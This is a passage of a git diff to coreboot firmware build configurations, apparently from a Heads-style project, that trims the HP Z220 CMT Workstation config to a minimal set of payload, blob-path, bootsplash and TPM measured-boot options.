-CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_SMBIOS_PROVIDED_BY_MOBO=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index 19e37b7dc..8e2203651 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -1,708 +1,35 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -# CONFIG_USE_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set CONFIG_VENDOR_HP=y -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_PART_NUMBER="HP Z220 CMT Workstation" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="hp/snb_ivb_desktops" -CONFIG_VGA_BIOS_ID="8086,0106" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" -# CONFIG_NO_POST is not set -CONFIG_MAINBOARD_VENDOR="HP" CONFIG_CBFS_SIZE=0xFE4FFF -CONFIG_CONSOLE_SERIAL=y -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 -CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_POST_DEVICE=y -CONFIG_POST_IO=y -CONFIG_UART_FOR_CONSOLE=0 -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="z220_cmt_workstation" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Hewlett-Packard" -CONFIG_DRAM_RESET_GATE_GPIO=60 -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -# CONFIG_CONSOLE_POST is not set -CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfefe0000 -CONFIG_DCACHE_RAM_SIZE=0x20000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/z220/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/z220/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_PCIEXP_DEFAULT_MAX_RESIZABLE_BAR_BITS=63 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_BOARD_HP_280_G2 is not set -# CONFIG_BOARD_HP_COMPAQ_8200_ELITE_SFF_PC is not set -# CONFIG_BOARD_HP_COMPAQ_ELITE_8300_USDT is not set -# CONFIG_BOARD_HP_ELITEBOOK_820_G2 is not set -# CONFIG_BOARD_HP_FOLIO_9480M is not set CONFIG_BOARD_HP_Z220_CMT_WORKSTATION=y -# CONFIG_BOARD_HP_Z220_SFF_WORKSTATION is not set -# CONFIG_BOARD_HP_2170P is not set -# CONFIG_BOARD_HP_2560P is not set -# CONFIG_BOARD_HP_2570P is not set -# CONFIG_BOARD_HP_2760P is not set -# CONFIG_BOARD_HP_8460P is not set -# CONFIG_BOARD_HP_8470P is not set -# CONFIG_BOARD_HP_8770W is not set -# CONFIG_BOARD_HP_FOLIO_9470M is not set -# CONFIG_BOARD_HP_PROBOOK_6360B is not set -# CONFIG_BOARD_HP_REVOLVE_810_G1 is not set -CONFIG_BOARD_HP_SNB_IVB_DESKTOPS_COMMON=y -# CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Hewlett-Packard Z220 CMT Workstation" CONFIG_HAVE_IFD_BIN=y -CONFIG_PCIEXP_HOTPLUG_BUSES=8 -CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -CONFIG_TTYS0_BAUD=115200 -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y CONFIG_PCIEXP_L1_SUB_STATE=y CONFIG_PCIEXP_CLK_PM=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -CONFIG_DRIVERS_UART_8250IO=y -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="nohz=off quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x01000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x100000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 -CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 -CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_INTEL_MODEL_206AX=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_TIMEBASE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# -CONFIG_USE_NATIVE_RAMINIT=y -CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y -# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set -# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set -CONFIG_RAMINIT_ENABLE_ECC=y - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y -CONFIG_SOUTHBRIDGE_INTEL_BD82X6X=y -# CONFIG_HIDE_MEI_ON_ERROR is not set -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# -CONFIG_SUPERIO_NUVOTON_COMMON_PRE_RAM=y -CONFIG_SUPERIO_NUVOTON_NPCD378=y - -# -# Embedded Controllers -# - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x04000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS=y -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y -# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR3=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -# CONFIG_MRC_SETTINGS_PROTECT is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_DRIVERS_UART=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA_ANALOG_I2C_HDMI_B=y -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Ironlake" -CONFIG_GFX_GMA_PCH="Cougar_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_HDMI_B" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set CONFIG_TPM_RDRESP_NEED_DELAY=y CONFIG_TPM_LOG_CB=y -# CONFIG_TPM_LOG_TPM1 is not set -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is 